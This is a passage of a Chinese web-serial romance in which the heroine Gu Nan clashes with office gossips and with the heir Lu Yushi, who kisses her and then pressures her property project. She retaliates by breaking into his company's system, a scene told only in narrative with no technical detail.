她大大方方把名字挂到新时报副总裁,不介意陆御时去查,陆御时倒好,放着自家千亿集团不管,不远万里跑来吃顿饭。
她“啧啧”摇头,怀疑陆御时始终查不到她的身份,已经被激起好胜心,不达目的誓不罢休。
手机长久未动,自动熄屏。
她摆弄手机,由着它在掌心打转。
瞳仁闪过光影忽明忽灭,她懒洋洋勾唇,低声:“挺好。”
打开手机打字:【多劝你师哥学学社交礼仪,我说不是诚心邀请,意思是客套一下,其实并不欢迎他。】
苏迪许久没回。
她收起手机,也没指望苏迪能回,苏迪见陆御时跟老鼠见了猫似的,大概率不敢在陆御时面前多说什么。
但纪元宇就不一样了。
陆御时要来,怎么跟纪元宇交代。
她摁了摁太阳穴,起身踢开椅子,双手插兜出门。
门外是普通员工办公区,见她出来,纷纷起身,脸上堆笑祝贺她升职。
至于心底怎么不服不忿,不得而知。
她无所谓别人的态度,只要不让她听到,她就当不知道。
奈何总有不长眼的人往枪口撞。
她不喜欢被人视.奸的感觉,踱步到电梯口犹豫一下,又折返回去,拐道走消防通道上楼。
消防通道附近没有办公区,只在紧挨门口的地方留一间小会议室。
以备不时之需。
因为只是备用,隔音效果一般,不过几乎没人走消防通道,房间内说话之人似乎也没避讳,神经大条地吐出心中不满。
“她凭什么当副总裁,她一个月能来公司几次?公司哪一个大项目是她带回来的?就差把她和纪元宇床上那点事昭告天下了,果然还是当女人好。看来我要想升职,还要等纪元宇喜欢男人了。”
顾楠脚步停在半空,脸上表情没变化,只有眸底一点不真切的冷冽。
她没出声,也没着急走。
男人声音熟悉,是广告部总经理吴峰,今年半年度总结会上,新时报广告部带来的利润占到全公司50%以上。
房间内还在继续。
“哎呦吴经理您别生气,不值当的。”
“不怪吴经理生气,谁会喜欢一个能力不如自己的关系户爬到自己头上。”
“如果是别人还好说,新时报是纪家的产业,以后迟早会是纪元宇全权管理,咱们就祈祷他赶紧娶了顾楠,让顾楠回家生孩子去吧,等到时候成了黄脸婆,看她还敢嚣张。”
“就是,不知道她每天得意个什么劲。”
“我也很烦她高高在上的样子,好像咱们不靠□□交易,就都低人一等似的。”
“不止她,还有苏迪。苏迪仗着自己名牌大学毕业,对谁都趾高气昂,真让人讨厌。”
“听说苏迪的师哥是陆御时,能让陆御时带着邱家那位少爷专程来浔城给她撑腰,还以为她花活多厉害呢,看来比不上顾楠,最后没挣上副总裁就算了,还成了顾楠的助理。”
说话之人嘲讽意味十足,“还以为苏迪清高,看来是在陆御时眼里没分量,人家懒得管。嗤,一个助理,以后照样拿捏。”
“啪嗒。”顾楠把玩打火机。
小会议室霎时安静下来。
足足等了一分钟,一个女生打开房间门,歪着脑袋往外瞧。
顾楠单腿支撑身体,倚墙靠着,细白纤长手指有一下没一下轻摁打火机。
微弱的火苗映她侧脸瓷白如玉,余下一半在墙壁放大她的头颅。
她低着头,长睫垂得很深,完全挡住眸底神色,打火机就在眼前。
洁白的墙壁上,身影如同虔诚拜佛的暴徒。
感受到视线停留,她抬眸,眼中没有愤怒,深邃的瞳孔泛着幽光,慢条斯理吹灭打火机。
两人对视,女生双手不受控收拢,心猛地揪起,鼻尖浸出汗液,脸上一阵青一阵白。
“楠…楠姐。”
房间内更是安静,仿佛没人在里面。
“楠姐,您…您什么时候过…过来的呀。”
“刚到。”
见女生脸上长舒一口气,顾楠静静等。
半分钟过去,没人出来。
她收起打火机,只好纡尊降贵抬腿,面无表情直视女生,看得女生心里直突突,默默让路。
房间内,吴峰的脸色也算不上好,但到底是当了多年领导的人,还能撑出几分笑意。
“哎呀,这不是顾总吗,恭喜恭喜。”
顾楠眼神欠奉,越过他,走到他身侧的女人面前,定定注视。
女人心里犯嘀咕,抬头强堆笑意:“楠…”
“啪!”
顾楠抬手,毫不客气抽下一巴掌,同时抽碎女人剩下的话。
她用了些力气,女人体力不支,被她打得歪倒在地,会议室桌椅同步被带倒,“哐啷啷”响了许久。
“你干什么!”女人捂着脸怒声。
顾楠嫌脏似地甩甩手,半蹲在她面前,左肘随意搭在膝盖处,用手机挑起女人的下巴:“你既然知道苏迪做我的助理,那你也该清楚,她以后就是我的人,她的话就是我的意思。如果再让我听到那些不干不净的话,我就不客气了。”
几人面面相觑,没人开口。
“她在陆御时心里占多少分量我不清楚,但如果让我知道你们给她使绊子,就别怪我不做人了。”顾楠环顾四周,视线最终落在女人身上,微微用力,“听明白了?”
女人痛苦皱眉,不吱声。
吴峰嘴角下压,藏起愤怒,又暗自庆幸,万幸他那些话说得早,没被顾楠听到,不然今天怕是没法收场。
他调整表情,站出来做和事佬:“她听明白了,顾总,我替她给您道歉,您别往心里去。”
他摆手示意其他人扶起女人,几人你看看我,我看看你,都没敢上前触顾楠的霉头。
无奈,他自己走过去扶,顾楠没理他,转身离开。
就在众人都松一口气时,顾楠回头。
大家心里一紧,纷纷低头不想和顾楠对视,顾楠也懒得把目光停在她们身上。
“吴经理。”
“欸。”
“以后说别人坏话,最好找个隔音点的会议室。”
吴峰笑容难看,声音发虚:“啊呦,这是从哪说起…”
顾楠不想听他废话,略略提高声音打断他:“还有,纪总不喜欢男人。”
话落,她
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斜睨吴峰脸上僵住的表情,收回视线,开口模棱两可:“你的位置,公司很多人都喜欢。”
房间再次涌动沉寂,吴峰一颗心沉到谷底。
顾楠单手插兜,大步拐进步梯。
进门前调整表情,手机收到苏迪的消息。
【我师哥不是好人,你别老招他。】
得,不用调整了。
不难想苏迪花了多大的决心,才把这12个字打出来。
【广告部欺负过你?】
推门进去。
纪元宇才开完会,正和总助商讨着什么,顾楠没事人似的往沙发一靠,闭眼假寐。
听到关门声响,开口:“公司哪天聚餐?”
纪元宇瞥了眼行程表,温柔笑笑:“你定。”
他说服不了顾楠,只能自己调整心态,支持她的决定。默默叹口气,绕一圈,又回到了最初的原点。
“周五。”顾楠顿了下,“多加一个位置。”
纪元宇了然:“嗯,我知道,你升职舅妈一定开心,我会让人安排位置。”
顾楠抿唇犹豫,是等到时候给纪元宇一个大惊喜,还是现在坦白。
她瞄几眼纪元宇神色,想了想,不然先去买速效救心丸,回来再说?
“怎么了?”纪元宇看出她欲言又止。
顾楠真诚问:“你心脏怎么样?”
“心脏?”
对视一会,顾楠慢吞吞起身,揣着手缓缓踱步过去,无视纪元宇脸上疑问,边走边润色借口。
但她胡说八道惯了,让她七步编故事,她信手掂来。
七步把一个爆炸消息润色成暖心童话,她做不到。
第六步,放弃。
“陆御时要来吃饭。”
抬眸,纪元宇明显呆住,手中签字笔滑落,他脱口而出:“为什么?”
“不知道,”顾楠讪讪吐槽,“可能他们陆家要活不起了吧,这么大老远来蹭饭。”
“你和陆御时有联系?”纪元宇蹙眉。
“没有。”
“那你怎么知道他要来吃饭?”
“嘶。”顾楠双臂抱在胸前,拍拍脑袋,在纪元宇面前溜达两圈,没想到借口,“好问题,让我想想,我为什么知道,现在不知道……”
边说边抬头,见纪元宇满脸严肃,她声音低下去:“应该是来不及了。”
纪元宇:“楠楠,你和我说实话,陆御时到底有没有找过你。”
“没有,”顾楠口吻利落且真挚,几次见面,都是她主动去找陆御时,“陆御时没找过我。”
她从来不说谎。
纪元宇张了张嘴,看起来并不相信。
却也无可奈何,两人相处多年,他心知顾楠的脾气,不想回的问题,不管别人问多少遍,她都不会回答,即便逼到万不得已,也只能得到她几句胡诌乱扯。
又想到上次陆御时来新时报,一共没说10句话,竟有7句和顾楠有关。
他再次叹气:“有什么事随时告诉我,新时报永远是你的后盾。”
“ok。”
走出总裁办公室,顾楠沐浴阳光,如获新生。
这哪是朋友,分明找了个爹。
一想到周五的聚餐,顾楠扶额,自暴自弃地想,不然她给纪元宇催眠了得了。
22. 聚餐
星期五,晴空万里,天空看不到一丁点云朵,太阳热辣辣炙烤大地。
因为陆御时过来,晚上的聚餐改成中午。
苏迪不太想见陆御时,三推四推,奈何如今身为顾楠的助理,顾楠要求她到场,她没办法拒绝。
无奈拿过包,碎步跟上顾楠,不情不愿回话。
“不算欺负。”
广告部经理平等地讨厌所有中高层女领导,尤其讨厌关系户。
大约因为她请陆御时过来撑腰,这才被吴峰记恨。
只是这恨实在莫名其妙。
也实在冤枉。
那日随口和师姐抱怨,碰巧被老师听到谈话内容,老师在学院是出了名的护犊子,听说她被欺负,二话不说联系陆御时。
可怜她整个研究生期间见面最少的是陆御时,最害怕的也是陆御时,更不知道该怎么和陆御时打交道。
她头天拒绝,第二天陆御时就来了,毫无心理准备,硬着头皮说了几句话,陆御时虽语气冷漠,好在肯帮忙。
本以为副总裁板上钉钉…
她无声叹了口气,盯着顾楠的背影后悔,好好的,干什么打那个赌。
现在好了,副总裁没挣上,还成了顾楠的助理,不知道那些人背后会怎么嘲笑她,更不知道顾楠心里打得什么算盘。
原以为顾楠是为了羞辱她,但相处一周,顾楠对她…似乎还不错。
顾楠似有所感回头,四目相对,她视线闪躲不及,默默揉了揉鼻尖。
“在心里骂我呢?”顾楠。
苏迪“哼”了一声,没承认也没否认。
顾楠哑然失笑,大大咧咧说:“以后谁欺负你,告诉我,我来解决。”
轻飘飘的语气仿佛千斤重。苏迪迈步的动作停下,不自然地扶了扶头发,傲娇:“干嘛,你会好心帮我报仇?”
“啧,”顾楠眨眨眼,慢条斯理拍拍衣服走出电梯,边道,“你现在是我的助理,他们欺负你,就是打我的脸。”
她沉吟:“主要是…我要脸。”
“你!”
苏迪愤愤瞪她背影,挤在她身前先一步推开玻璃门。
顾楠挑眉,慢悠悠往前晃荡。
一楼自动感应门缓缓打开,热浪霎时扑面而来,顾楠紧急撤回脚步。
随即撤回的还有脸上悠闲的笑。
室内温度显示18度,室外目测38+。
她站在门口,眼睁睁看着一滩水渍落地片刻消失,没好气道:“你师哥是不是有病。”
大热天过来干什么。
苏迪回头,大约赞同她的话,但又不好直说,撇了下嘴,默默道:“我去开车。”
“不用。”顾楠二话不说,转身进电梯,顺手把苏迪扯进去。
“欸你。”
她无视苏迪惊呼,低头打开手机,找到一个电话拨出去:“B2接我。”
说完随手翻了块口香糖丢进嘴巴,抬眸,苏迪目不转睛盯着她。
?
口香糖递过去,问:“你也要?”
“不要。”苏迪咕哝下嘴,“你…会不会太不尊重纪总?”
顾楠莞尔:“有吗?”
考虑半秒,通话记录还在继续,她道:“请来B2接我。”
苏迪:……
那是总裁,又不是司机。
G63顶着烈日疾驰,半小时后停在铂爵餐厅门口。
依旧是28楼,到场人员和上次如出一辙,就连那些人聚在一起私下蛐蛐的对象,都还是她和苏迪。
唯一不同……
一支烟燃尽,顾楠推开门,房间所有人一同移过视线,齐刷刷望向门口。
目光中有好奇、艳羡、嫉妒等等,唯一人除外。
顾楠视线移到主位,呼吸一窒,紧贴裤缝的右手有片刻僵硬。
坐在主位的男人停下轻叩桌面的动作,缓缓抬眼,不疾不徐的动作莫名多些游刃有余的松弛感,裁定合体的西装更衬他矜贵高雅。
他坐在那,遥遥注视,漆黑瞳仁泛起深幽光芒,仿佛能看穿人心。
视线对上,顾楠心里犯嘀咕,僵硬的右手还没回温,心跳又开始不知好歹的乱了节奏。
她不肯落下风,暗自均匀呼吸,弯弯嘴角微笑打招呼。
男人略一颔首,几不可察的动作带着不怒自威的压迫感,眉眼漠厉更显他气场魄人。
房间安静。
顾楠低头,迈步的频率被打乱。
只慢一步,吴峰从她身后进门,见到主位上的男人,愣住,很快回过神先后给陆御时、邱景循、纪元宇打过招呼,顺势在邱景循身侧空位置坐下,以示亲近。
陆御时破天荒回了声“嗯”。
因为这声“嗯”,也因为吴峰有意无意的讨好,房间渐渐热闹起来。
几许压抑被摁下。
吴峰高抬下巴,视线一一扫过众人,最后与顾楠遥遥对视,他眼底满是自傲与得意,仿佛这个位置和陆御时、邱景循的回答是天大殊荣。
顾楠无所谓吐掉口香糖,眼神示意苏迪不用动,正要就近落座。
突然,一阵椅子与地面的摩擦声。
随后邱景循猛起身,回过身和陆御时对视,不知两人眼神交流了什么,他很快回头,看向顾楠,打招呼:“顾总。”
“邱少。”边说边坐。
屁股还没挨到椅子,就听邱景循声音急促:“顾总请坐在这吧。”
顾楠好整以暇偏头,邱景循站在椅后,目光殷切。
她瞥了眼陆御时表情冷漠,略一思忖,嘴角扬起一抹不明显的弧度,开口:“那多不好意思。”
边说边走到陆御时身旁。
邱景循话到嘴边被她的动作打乱,张了张嘴,心道,不好意思你过来干什么。还有那个…
视线移到陆御时身上,不着痕迹瞪他一眼,想让人坐你身边直说不行吗?踹我干什么!
我看起来很好欺负?
满屋子外人,他不好当面斥责陆御时不当人,只能把火气发到吴峰身上,怒瞪这个不知好歹的男人。
什么东西,陆御时认识你?还是我认识你?凑什么凑!
感受到视线火热,吴峰一脸懵逼,前后看看,最后一个空位置在末位,现在起身势必会成为大家的笑柄,如果不起身…
他心里一凉,脸上火烧火燎,总不能让邱少坐去末位。
起身:“邱少,您请。”
后退一步,以拳抵唇轻咳,身旁人咬牙,不情不愿走到末位的空位置。
吴峰暗自长舒一口气,脸上酡红渐渐褪下。
“你别坐。”顾楠制止邱景循拉椅子的动作,解释:“不好意思,我的助理需要照顾我。”
说完不管邱景循是否同意,扬手招呼苏迪:“过来坐我身边。”
邱景循:?
好不容易坐在靠后位置的苏迪:?
两人对视一眼,似乎对这个安排都不太满意。
当然最不满意的还是一口气卡到嗓子眼的吴峰。
吴峰只得再次给邱景循让座,这次身旁人没有起身,他只能垂头丧气走向苏迪之前的位置,脑海中不断猜想别人口中他出糗的模样。
他越想挺直腰杆当什么都没发生过,脑海中画面走向便越发不受控,最后深深垂头,桌下双拳紧握,一口后槽牙几乎咬碎才维持住脸上僵硬的笑容。
归根究底,都怪顾楠。
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而始作俑者从头到尾都没分出一丝余光。
顾楠满门心思都在陆御时身上,别人脸色怎么变幻都得不到她的注意。
她余光打量陆御时一会,骤然出声:“沉香味好重。”
满是嫌弃的音调落在略显安静的房间,如同一滴清水坠入油锅。
霎时沸腾。
满屋人敛声屏气,纷纷有意无意打量陆御时神色。
陆御时脸上没有表情波动,不紧不慢移过视线,轻掀眼皮,未言。
看不出愉悦与否。
吴峰摁住心口,自问如果有人当众让他难堪,他很难愉悦。
但顾楠自己找死,他霎时心情大好,开口:“沉香很好,不管是从它本身味道来说,还是所带来的功效。顾总,众口难调,不能因为你讨厌,别人就不能用了吧。”
话落,房间鸦雀无声。
大家你看看我,我看看你,都装傻低头。
听说顾楠没有原因打了吴峰手下的人,还是当吴峰面打的。
这两人怕是水火不容。
他们不敢站队吴峰,毕竟他们身处新时报,而顾楠身后永远有一个纪元宇。
更不敢站队顾楠,得罪陆家少爷。
场面一时僵持。
苏迪气愤瞪了眼顾楠,颇有些恨铁不成钢,她硬着头皮开口,声音微微颤抖:“师哥,顾总她…”
陆御时面无表情瞥了眼苏迪,苏迪默默咬唇闭嘴。
“原因。”
顾楠挑了块小蛋糕放进嘴巴,仿佛感知力迟钝,没发现房间内紧张气氛,她表情松弛:“太味,影响食欲。”
陆御时直直注视,目若寒星。
满屋人噤若寒蝉。
苏迪心里紧了下,桌下偷偷拉了拉她的衣袖,低声警告:“顾楠。”
纪元宇掩唇轻咳,没等开口解围。
陆御时轻“嗯”。
三秒后,他抽出一张纸巾递给顾楠。
顾楠:?
“嘴。”
苏迪看鬼似的盯着陆御时看了半分钟,偏头瞧顾楠,低声:“嘴角蹭上奶油了。”
“你给我擦。”听起来像在回复苏迪,但目光始终落在陆御时身上。
空气凝固,半晌,陆御时把纸巾丢桌上,不再看她。
苏迪认命捡起纸巾,没等动作,顾楠顺手接过,自顾自擦拭,泰然自若的动作完全看不出被拒绝后的尴尬。
饭局过半,面前餐盘堆满顾楠为她夹来的菜品,一时不知道到底是她照顾顾楠,还是顾楠照顾她。
她盯着堆成山的餐盘,心内复杂,总不能是顾楠想撑死她吧。
顿了下,余光瞥见顾楠顺手给陆御时递了块蛋糕,她凑过去将声音压到最低,悄声问:“你是不是喜欢我师哥。”
顾楠:……
“什么时候瞎的?”
苏迪偷瞧陆御时脸色:“你总想引起他的注意。他今天看起来心情不错,如果心情差,说不定…”
“跟我在一起,他不会心情差。”
“为什么?”
顾楠神秘一笑,耳语:“你师哥在追我。”
苏迪震惊,看看陆御时,又瞧顾楠翕动的嘴角,自己咕咚咽下一大口水,兀自消化这个惊天消息。
顾楠好玩地瞧她一眼,烟瘾上来,出门吸烟。
“啪。”
打开窗户,窗外暑气扑面,一股燥意自心头冉冉升起。
打火机火苗乱窜,她盯了会,点燃烟尾。
深吸一口。
身后响起脚步声。
气味比那人的声音先一步捕捉到。
她没回头,明知故问:“陆少也出来吸烟?”
23. 西区
脚步声缓缓靠近,顾楠侧耳听,来人步伐沉稳,缓重的声音仿佛踩在心头,拉扯着她的神经。
一步一顿,最终停在她身侧。
她偏头,陆御时视线从她指骨未燃尽的香烟上快速划过,眉心微蹙。揪起的眉骨非但没能拉低他的颜值,反而让他更添冷厉。
顾楠心内感慨,他妈真牛逼,能生出这么帅的儿子。
视线久未移动,待回神,不确定陆御时盯了她多久。
“hello。”
四目相对,陆御时面无表情往旁边挪半步,留出一人宽的间隔。
顾楠:?
陆御时负手而立,凝视远处虚无,看样子不打算开口。
顾楠翻了个白眼,无声咕哝,他爸真废物,生出个哑巴。
哑巴不开口,只能靠她打破沉默。
她斜睨身侧空位,缓缓吐出烟雾。
烟丝泛白,缕缕飘荡,模糊嘴角一抹弧度半扬。
对高不可攀的人物落井下石,应该会很爽。
“陆少对这个结果还满意吗?”嘴角翕动,抻着笑意。
烟支燃烧过半,烟雾弥漫,渐渐将两人包裹。
身旁的人仿佛又添耳聋的毛病。
顾楠挑眉,治病么,有时候她也在行。
她语气放松,假意闲聊:“天气预报显示今天最高气温41度。”
话说一半,她停顿观察陆御时反应,晏晏含笑,目光慈祥又关切,劝说:“陆少想知道什么,直接问我就好,这么热得天,万一中暑……”
不在乎陆御时是否搭腔,也不在乎一个人自说自话在外人眼中的窘迫。
她后背紧靠窗台,单手撑住墙壁,歪头去瞧陆御时,呼出的气体撩动陆御时鬓角发丝。
“陆少,我会心疼的。”
特意压沉的嗓音仿佛摄人精魂的妖魅。
突破正常社交距离的范围,陆御时不得不垂眸与她对视。
她笑颜明媚,烟雾缭绕在她眼前,阳光透窗映在她的侧脸,衬那双杏子眼朦胧妖娆。
催眠那日小憩模样再次萦绕心头,陆御时别开视线,平淡道:“恭喜。”
“恭喜?”顾楠眉眼往下扫,忽想到什么,噗嗤笑出声来,指了指自己,语声乖巧温顺,“你说得好像是我的词。”
副总裁明明是陆御时想让她做,她大发慈悲,顺着陆御时的意思答应,怎么算,都该是她恭喜陆御时。
毕竟,一个新时报副总裁于她而言,麻烦大过利益。
至于其他…
她又往前凑一步,声音压低:“陆少,您查得怎么样,需要我帮忙吗?”
语调上扬,几许张狂。
查她?手段高明她还能佩服一二。
用这么蠢的招数,岂不是小瞧她?
顾楠腹诽,你看不起我,就别怪我打你的脸。
陆御时回头,双眸骤沉,那副永远没有表情波动的俊脸看不出喜怒。
但周身冷意逼退由窗口涌进的暑热。
顾楠直视那双冷眸,熟悉的压迫感兜头盖脸。
她“啧”了声,不由想,陆家的夏天应该不怎么用得着开空调吧。
指腹香烟燃到底部,烟瘾散去,她慢吞吞转身,走到桌前将香烟打个转摁灭在烟灰缸,大马金刀往沙发一靠,双腿交叠,两臂施展随意搭上椅背。
懒洋洋唤:“陆少?”
一言一行,浑然天成的纨绔。
陆御时缓慢转身,居高临下盯她一会,开口模棱两可:“为什么不同意?”
不同意的什么,两人心知肚明。
顾楠揣着明白装糊涂:“同意什么?”
陆御时淡淡凝视她,没开口解释。
任由沉寂蔓延。
大约对于场面把控,还是陆御时更胜一筹。
顾楠垂眸思考片刻,抬头笑嘻嘻冲陆御时勾手指。
很遗憾,人表情冷漠,只给她一个锐利深冷的眼神。
她吊儿郎当笑笑,指尖在两人身上流转,语不惊人死不休:“陆少要追我?”
“你觉得呢?”声音冷沉。
她摊手,无辜:“既然不追我,那你加我联系方式干什么,给我请安?请安我另有人选,就不辛苦陆少了。”
良久沉默。
久到她开始少见的自我反省。
狗急了还跳墙呢,陆御时急了怎么办。
两臂环胸,右手有一搭没一搭轻叩肩膀,她没什么耐性,正要找补,就听陆御时嗓音磁性:“催眠还剩几次,方便联系。”
动作顿住,她嘴角弧度扩大。
看来底线还能再低些。
“可是…你已经有J的联系方式了。”抬起的眸子亮晶晶的,翘着二郎腿玩世不恭,“催眠请找J。”
轻飘飘的语气砸到陆御时心底,她瞧陆御时轻抿唇角,兀自腹诽,给陆御时砸疼了?
她摩挲下颌,佯装思考样:“唔,J确实不经常看消息,陆少耐耐心嘛,毕竟有求于人。陆少一把年纪应该听过那句老话,求人就得骨头软一点。”
吸烟室内,两人一坐一立,目光于半空交错,一双深眸冷厉,另一对眼睛盛着水光,光下盈盈笑意。
“听闻陆氏集团涉猎行业广泛,陆少作为下一辈当家人,对潜.规则不陌生吧?”
“你想要什么?”薄唇轻启,声音极寒。
“潜.规则无外乎权.钱.色,”顾楠歪歪头,“陆少猜猜?”
陆御时盯着她看了两秒,意料之外,竟顺着她的话接下去,“权,有纪元宇、万易和沈铭;钱,你不缺。”
顾楠疑惑,沈铭你哪位?
她眸子微眯,玩弄之余,不由对陆御时多几分探究。
当面说让人骨头软一点,对普通人尚且有侮辱嫌疑,何况久居高位的陆御时。
然而陆御时仅用两个喘息,就散去了全身冷意。
“只剩色了,陆少。”
房间内足足沉默两分钟。
顾楠不催促,随手从抽屉翻出魔方,专心摆弄。
“咔咔”声不断。
12面魔方复原,她放下魔方,抬眸。
“嗯。”
嗯?
顾楠无意识挑眉,什么意思。
没等反应过来,俊逸面庞在眼前放大,双眼蒙上疑惑,唇瓣忽热,鼻翼能感受到清浅呼气,气流将沉香气味混进鼻腔。
“你大爷!”
怒喝声在吸烟室回荡。
嘹亮——
激昂——
陆御时没在她唇上多停留,浅尝辄止,后退静静注视她擦拭嘴唇的动作。
顾楠抬眼,呼吸一窒。
抬手指门口:“滚。”
大家嘴仗打得好好的,怎么还动上手了!
不对,他也是动得嘴。
只是一个动词和另一个动词的区别。
她死死盯着陆御时离开的背影,一字一顿:“你死定了!”
陆御时脚步未停,推开门,邱景循单腿撑着身体,靠在墙边,客观评价:“她没被人打死,证明这个世界比想象中宽容。”
陆御时面无表情偏头。
邱景循摊手:“吸烟室不隔音。”
……
“欸,你走那么快干什么?”邱景循在后面边追边喊,“你对她做了什么,她虽然人损嘴毒,但好像很少这么直白骂人。”<
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p>“你很了解她?”
“跟你师妹打听过,就说了俩词——阴损、嚣张。”邱景循想了下,又说,“哦对,你师妹还说从没见过顾楠生气,她就像个被装进嘲讽宝瓶的瓷娃娃。”
他给自己说笑,口中赞同,“你师妹的比喻很可以,小圆脸尖下巴大眼睛双眼皮,只要不张嘴,确实像个瓷……欸,干嘛突然停下。”
边说边抬眸,与陆御时对视,剩下的话梗在嘴边,默默咽回去。
走了两步,没忍住抱怨:“知道你不喜欢顾楠,但顾楠确实长相不错,年纪轻轻就是国际享誉盛名的催眠师,我说得都是客观评价,主观上还是和你一心。”
陆御时:“……闭嘴。”
邱景循抓耳挠腮忍了三个喘息,好奇问出口:“你到底把她怎么了?”
平稳的脚步声忽乱了节奏,陆御时不由自主抬手,手指无意识划过唇峰,仿佛触到那抹柔软。
脑海中不断循环那双懵掉的眼睛。
从茫然到诧异再到暴怒。
他好像见到小动物炸毛的样子,不知该怎么形容。
“御时?”
“如她所愿。”
最初相遇至今,但凡见面,顾楠嘴里永远绕不开男女之事。
以为她多随便,原来色厉内荏。
是个纸老虎。
他以为他不会碰上去,他以为顾楠会躲开,电光火石刹那间,所有想法抛之脑后,他盯着那双红唇,好像那里是最终目的地。
“啊?”邱景循不解,“什么意思?”
见陆御时不打算回答,邱景循又劝:“她毕竟是J,能根治你的失眠症最好,如果不能,维系和她的联系利大于弊。”
陆御时眼神闪了闪,比起催眠师,他更好奇那位传说中的黑客N。把北城最顶尖黑客玩得团团转,N的实力不容小觑。
他不是没怀疑过顾楠,毕竟楠字的首字母就是N。
夜深细细思考,又摇头否认。
一来催眠师所用J字与顾楠及其家人姓名都无关联。
二来,如果不想暴露身份,大概率会起和姓名毫无关联的字母,避免被有心人探查。
再有,她不过二十出头的年纪,能将催眠师做到全球顶级,用天才称呼已然配不上她的能力。若再是N,这根本不可能。
三条原因成功打消他的猜测。
助理孙千手拿招商文件,敲门进来。
陆御时翻过扉页,随口问:“星子楼老板联系上了吗?”
孙千眼皮抖了下,咬住嘴唇,心跳加速直跳出嗓子眼,干干巴巴说:“没有。”
“不用联系了。”
心跳声一下子趋于正常,孙千肉眼可见松一口气,还没开口,陆御时又问:“西区新楼盘是星子楼旗下?”
“是。”
“商户入驻情况怎么样?”
“开盘没多久,签约情况暂时没公布,不过场面火爆,预计入驻率50%左右。”
陆御时颔首,盯着电脑,声音平淡:“今年招商会,在西区入驻的商户全部永久拉入陆氏黑名单。”
心跳声几乎消失,孙千抹了把额头不存在的虚汗,连连应声。
对陆御时的狠厉也更加直观。
陆氏几乎掌握了所有繁华地段的楼盘,没人确定西区以后的发展,更不会有人拿一个不确定去赌一条确定的死路。
陆御时请不来星子楼下老板,就不择手段把人逼出来。
孙千三步并作两步,一心只想逃离这个恐怖的人类,顺便替那些商户默哀。
惹谁不行,偏要惹里面那位。
但愿星子楼老板能够识趣,这次是西区,谁知道下次又是什么。
24. 离间
入夜,顾楠和警长大战三百回合,以把警长赶去门外宣告最终胜利。
躺下前习惯性打开各个系统查看一遍。
主号有叶序的消息,长长几条。
【完了,我们大老板好不容易开始当人,不知道他怎么得罪陆家,陆御时让人通知各家商户,但凡入驻西区新楼盘的商家,陆家永久不予合作。】
【上次被陆家发出类似通知的企业,早死透了,我们公司可能要倒闭了。】
【你答应我的三块鹦鹉螺什么时候兑现,以后要靠它们度日了。】
顾楠眉心越蹙越紧,撑着身子拉过电脑,忙不迭打开,满屏未读邮件,其中一条最显眼。
【楠姐,陆家一定要见您,明的不行就来暗的,西区楼盘开盘当日成交率69%,目前其中40%已经确定违约,剩下的也在试探把违约责任降到最低。】
【西区怕是保不住了。】
顾楠咬牙,心下骤沉,抬手重重揉搓双唇,眉目冷厉,从牙缝挤出几个字。
“陆御时,你好样的。”
手机切换系统,刚巧最上方就是陆御时的消息,问她约下次催眠时间。
她阖眸调整情绪。
使劲握拳,压下心内翻涌的歪心思。
陆家放话,西区确实很难发展了。
一栋新建楼,若是靠违约金盈利,怕不是被别人笑掉门牙。
出神间,电脑显示新邮件推送。
【西区耗费财力物力人力巨大,如果保不住西区,这个项目的亏损额破亿,会直接影响明年计划和今后的口碑。不然我去陆家拜访,探探他们的口风?】
辗转一夜,翌日,顾楠沉脸回复邮件。
【不用。】
【我们和五大世家一直井水不犯河水,陆家这样做无非是怪我们没给他们面子,故意找麻烦。我去一趟吧,结果不会比现在更差,如果陆家愿意高抬贵手,说不定还有转圜的余地。】
顾楠暗嗤,凭什么。
陆家怕是在北城霸道惯了,他们想怎么样就怎么样,对面配合便是皆大欢喜,不配合他们就把人往死里逼。
顾楠脸上表情越发冷凝,垂睫沉思半晌,拨通电话问:“沈铭是谁?”
“沈家大少爷。”
顾楠眼神闪了闪,轻敲笔记本的动作戛然而止,她摩挲下巴,低声念叨:“沈家…”
倒也不陌生,沈家和陆家私底下斗得你死我活,但两家都是世家大族,任凭背地里怎么打得不可开交,表面永远一团和气。
她无声沉思,房间静悄悄的。
警长开门进来,四只爪爪落地无声,跳上床尾蜷起身体睡觉。
床角骤沉,顾楠回神。
片刻,眉心舒展,嘴角缓缓勾起一抹弧度,抬眼,屏幕漆黑,映着一张阴恻的笑脸。
心道,既然你很闲,那就帮你找点事做。
“安排西区楼盘预售晚宴,给沈家发邀请函。”
对面犹豫,欲言又止:“您想拉拢沈家对付陆家?应该行不通,沈家暂时不会和陆家撕破脸,并且,有陆家给出的警告,大概…没多少人会过来参加晚宴。”
顾楠口吻玩味,眉眼微弯,笑不及眼底,“你只负责夸大宣传给沈家送邀请函的事就好,别的不用管。”
电话挂断,她打开笔记本,切换ip,十指忙碌,五分钟后,进度条匀速加载卡到最后99%的位置停住。
她掐了下眉心,松开键盘,凝视窗外。
日头一天比一天毒辣,蝉鸣声听起来有气无力,就连窗前的花都难以承受炽热,蔫巴巴耷拉着脑袋。
“叮咚”一声。
回神,加载结束,页面显示陆氏集团内部系统。
顾楠单手托腮,划拉鼠标在里面逛了一圈,最后点进加密系统,找到一个号码,懒洋洋打字。
【陆少,早上好。】
【你是谁?】
顾楠挑眉,不像陆御时能问出来的话,大概是他的助理。
【正道的光。】
【知道你们陆少亏心事做多了,特意过来超渡他。】
【不用谢。】
右下角时间一分一秒过去,对面迟迟未回复,防火墙被攻击次数频频增加,累计攻击次数直逼三位数。
她心疼墙墙,好心劝:【别白费力气了。】
【你想干什么?】
一句话功夫,又加两次攻击。
顾楠莞尔,把刚看到的内部消息在心内润色,打字:【我们人工智能研发不容易,陆少如果再插手,我就不客气了。】
【你是N?沈家让你来的?】
顶部登录时间显示9分10秒,顾楠没回答,关掉界面,退出。
光标闪动,新邮件送达。
【楠姐,晚宴定在8月13日。】
顾楠:【嗯,多找几家媒体宣传。】
邮件发送,界面自动返回,其余未读邮件持续闪动,顾楠从上到下囫囵吞枣扫过一眼,关掉电脑,打开手机忽略99+的未读消息,找到和小花头像的对话框,打字。
【8月9日晚上,买下星子楼西区楼盘。】
处理完一切,这才打开和叶序的聊天框,昨晚她没有回复,今天又多添几条。
她往上翻几页聊天记录。
面色复杂:【我记得是两块。】
叶序没纠结三块两块,打电话吐槽:“我们老板好像脑残,这节骨眼上不想着去求陆家,竟然不知死活的举办什么晚宴,还要邀请沈家。拜托,他算哪根葱啊,凭什么觉得沈家会愿意为了他和陆家站在对立面。”
顾楠勾唇冷笑,沈家不愿意也得愿意。
